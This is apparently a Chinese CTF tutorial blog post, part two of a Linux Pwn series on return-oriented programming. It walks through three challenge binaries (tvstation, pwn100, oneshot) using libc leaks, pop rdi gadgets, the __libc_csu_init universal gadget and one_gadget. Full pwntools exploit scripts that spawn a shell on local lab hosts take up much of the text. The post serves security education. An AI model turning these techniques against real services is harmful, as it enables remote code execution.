• CTF必备技能丨Linux Pwn入门教程——ROP技术(下)


    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。

    教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的python脚本。

    课程回顾>>

    Linux Pwn入门教程第一章:环境配置

    Linux Pwn入门教程第二章:栈溢出基础

    Linux Pwn入门教程第三章:ShellCode

    Linux Pwn入门教程——ROP技术(上)

     

    教程中的题目和脚本若有使用不妥之处,欢迎各位大佬批评指正。

    从给定的libc中寻找gadget

    有时候pwn题目也会提供一个pwn环境里对应版本的libc。在这种情况下,我们就可以通过泄露出某个在libc中的内容在内存中的实际地址,通过计算偏移来获取system和“/bin/sh”的地址并调用。

    这一节的例子是~/Security Fest CTF 2016-tvstation/tvstation。这是一个比较简单的题目,题目中除了显示出来的三个选项之外还有一个隐藏的选项4,选项4会直接打印出system函数在内存中的首地址:

     

     从IDA中我们可以看到打印完地址后执行了函数debug_func( ),进入函数debug_func( )之后我们发现了溢出点。

     

     

    由于这个题目给了libc,且我们已经泄露出了system的内存地址。使用命令readelf -a 查看libc.so.6_x64。

     

    从这张图上我们可以看出来.text节(Section)属于第一个LOAD段(Segment),这个段的文件长度和内存长度是一样的,也就是说所有的代码都是原样映射到内存中,代码之间的相对偏移是不会改变的。

    由于前面的PHDR, INTERP两个段也是原样映射,所以在IDA里看到的system首地址距离文件头的地址偏移和运行时的偏移是一样的。如:在这个libc中system函数首地址是0x456a0,即从文件的开头数0x456a0个字节到达system函数。

     

     

     调试程序,发现system在内存中的地址是0x7fb5c8c266a0。

     

    0x7fb5c8c266a0 -0x456a0 =0x7fb5c8be1000‬

    根据这个事实,我们就可以通过泄露出来的libc中的函数地址获取libc在内存中加载的首地址,从而以此跳转到其他函数的首地址并执行。

    在libc中存在字符串“/bin/sh”,该字符串位于.data节,根据同样的原理我们也可以得知这个字符串距libc首地址的偏移。

     

    还有用来传参的gadget :pop rdi; ret

     

    据此我们可以构建脚本如下:

    #!/usr/bin/python
    #coding:utf-8
    from pwn import *
    io = remote('172.17.0.2', 10001)
    io.recvuntil(": ")
    io.sendline('4') #跳转到隐藏选项
    io.recvuntil("@0x")
    system_addr = int(io.recv(12), 16) #读取输出的system函数在内存中的地址
    libc_start = system_addr - 0x456a0 #根据偏移计算libc在内存中的首地址
    pop_rdi_addr = libc_start + 0x1fd7a #pop rdi; ret 在内存中的地址,给system函数传参
    binsh_addr = libc_start + 0x18ac40 #"/bin/sh"字符串在内存中的地址
    payload = ""
    payload += 'A'*40 #padding
    payload += p64(pop_rdi_addr) #pop rdi; ret
    payload += p64(binsh_addr) #system函数参数
    payload += p64(system_addr) #调用system()执行system("/bin/sh")
    io.sendline(payload)
    io.interactive()
    

     

    一些特殊的gadgets

    这一节主要介绍两个特殊的gadgets。第一个gadget经常被称作通用gadgets,通常位于x64的ELF程序中的__libc_csu_init中,如下图所示:

     

     

    这张图片里包含了两个gadget,分别是:

     

    我们知道在x64的ELF程序中向函数传参,通常顺序是rdi, rsi, rdx, rcx, r8, r9, 栈,以上三段gadgets中,第一段可以设置r12-r15,接上第三段使用已经设置的寄存器设置rdi, 接上第二段设置rsi, rdx, rbx,最后利用r12+rbx*8可以call任意一个地址。

    在找gadgets出现困难时,可以利用这个gadgets快速构造ROP链。需要注意的是,用万能gadgets的时候需要设置rbp=1,因为call qword ptr [r12+rbx*8]之后是add rbx, 1; cmp rbx, rbp; jnz xxxxxx。由于我们通常使rbx=0,从而使r12+rbx*8 = r12,所以call指令结束后rbx必然会变成1。若此时rbp != 1,jnz会再次进行call,从而可能引起段错误。那么这段gadgets怎么用呢?

    我们来看一下例子~/LCTF 2016-pwn100/pwn100,这个例子提供了libc,溢出点很明显,位于0x40063d。

    我们需要做的就是泄露一个got表中函数的地址,然后计算偏移调用system。前面的代码很简单,我们就不做介绍了。

    #!/usr/bin/python
    #coding:utf-8
    from pwn import *
    io = remote("172.17.0.3", 10001)
    elf = ELF("./pwn100")
    puts_addr = elf.plt['puts']
    read_got = elf.got['read']
    start_addr = 0x400550
    pop_rdi = 0x400763
    universal_gadget1 = 0x40075a #万能gadget1:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
    universal_gadget2 = 0x400740 #万能gadget2:mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
    binsh_addr = 0x60107c #bss放了STDIN和STDOUT的FILE结构体,修改会导致程序崩溃
    payload = "A"*72 #padding
    payload += p64(pop_rdi) #
    payload += p64(read_got)
    payload += p64(puts_addr)
    payload += p64(start_addr) #跳转到start,恢复栈
    payload = payload.ljust(200, "B") #padding
    io.send(payload)
    io.recvuntil('bye~
    ')
    read_addr = u64(io.recv()[:-1].ljust(8, 'x00'))
    log.info("read_addr = %#x", read_addr)
    system_addr = read_addr - 0xb31e0
    log.info("system_addr = %#x", system_addr)
    

    为了演示万能gadgets的使用,我们选择再次通过调用read函数读取/bin/shx00字符串,而不是直接使用偏移,首先我们根据万能gadgets布置好栈。

    payload = "A"*72 #padding
    payload += p64(universal_gadget1) #万能gadget1
    payload += p64(0) #rbx = 0
    payload += p64(1) #rbp = 1,过掉后面万能gadget2的call返回后的判断
    payload += p64(read_got) #r12 = got表中read函数项,里面是read函数的真正地址,直接通过call调用
    payload += p64(8) #r13 = 8,read函数读取的字节数,万能gadget2赋值给rdx
    payload += p64(binsh_addr) #r14 = read函数读取/bin/sh保存的地址,万能gadget2赋值给rsi
    payload += p64(0) #r15 = 0,read函数的参数fd,即STDIN,万能gadget2赋值给edi
    payload += p64(universal_gadget2) #万能gadget2
    

    我们是不是应该直接在payload后面接上返回地址呢?不,我们回头看一下universal_gadget2的执行流程:

     

    由于我们的构造,上面的那块代码只会执行一次,然后流程就将跳转到下面的loc_400756,这一系列操作将会抬升8*7共56字节的栈空间,因此我们还需要提供56个字节的垃圾数据进行填充,然后再拼接上retn要跳转的地址。

    payload += 'x00'*56 #万能gadget2后接判断语句,过掉之后是万能gadget1,用于填充栈
    payload += p64(start_addr) #跳转到start,恢复栈
    payload = payload.ljust(200, "B") #padding
    接下来就是常规操作getshell
    io.send(payload)
    io.recvuntil('bye~
    ')
    io.send("/bin/shx00") #上面的一段payload调用了read函数读取"/bin/shx00",这里发送字符串
    payload = "A"*72 #padding
    payload += p64(pop_rdi) #给system函数传参
    payload += p64(binsh_addr) #rdi = &("/bin/shx00")
    payload += p64(system_addr) #调用system函数执行system("/bin/sh")
    payload = payload.ljust(200, "B") #padding
    io.send(payload)
    io.interactive()
    

    我们介绍的第二个gadget通常被称为one gadget RCE,顾名思义,通过一个gadget远程执行代码,即getshell。我们通过例子~/TJCTF 2016-oneshot/oneshot演示一下这个gadget的威力。

    要利用这个gadget,我们需要一个对应环境的libc和一个工具one_gadget。

     

    从红框中的代码我们看到地址rbp+var_8被作为__isoc99_scanf的第二个参数赋值给rsi,即输入被保存在这里。随后rbp+var_8中的内容被赋值给rax,又被赋值给rdx,最后通过call rdx执行。也就是说我们输入一个数字,这个数字会被当成地址使用call调用。由于只能控制4字节,我们就需要用到one gadget RCE来一步getshell。我们通过one_gadget找到一些gadget:

     我们看到这些gadget有约束条件。我们选择第一条,要求rax=0。我们构建脚本进行调试:

    #!/usr/bin/python
    #coding:utf-8
    from pwn import *
    one_gadget_rce = 0x45526
    #one_gadget libc.so.6_x64
    #0x45526 execve("/bin/sh", rsp+0x30, environ)
    #constraints:
    # rax == NULL
    setbuf_addr = 0x77f50 
    setbuf_got = 0x600ae0
    io = remote("172.17.0.2", 10001)
    io.sendline(str(setbuf_got))
    io.recvuntil("Value: ")
    setbuf_memory_addr = int(io.recv()[:18], 16) #通过打印got表中setbuf项的内容泄露setbuf在内存中的首地址
    io.sendline(str(setbuf_memory_addr - (setbuf_addr - one_gadget_rce))) #通过偏移计算one_gadget_rce在内存中的地址
    io.interactive()
    

    执行到call rdx时rax = 0

     

    getshell成功

     

    以上是今天的内容,大家看懂了吗?后面我们将持续更新Linux Pwn入门教程的相关章节,希望大家及时关注。

  • 相关阅读:
    Pyecharts之平行坐标系(Parallel)
    Pyecharts之饼图(Pie)
    Pyecharts之仪表盘(Gauge)
    Tri-Training: Exploiting Unlabeled Data Using Three Classifiers
    A web crawler design for data mining
    Toward Scalable Systems for Big Data Analytics: A Technology Tutorial (I
    Learning with Trees
    Markov Random Fields
    Data storage on the batch layer
    Galaxy Classification
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/11211772.html
Copyright © 2020-2023  润新知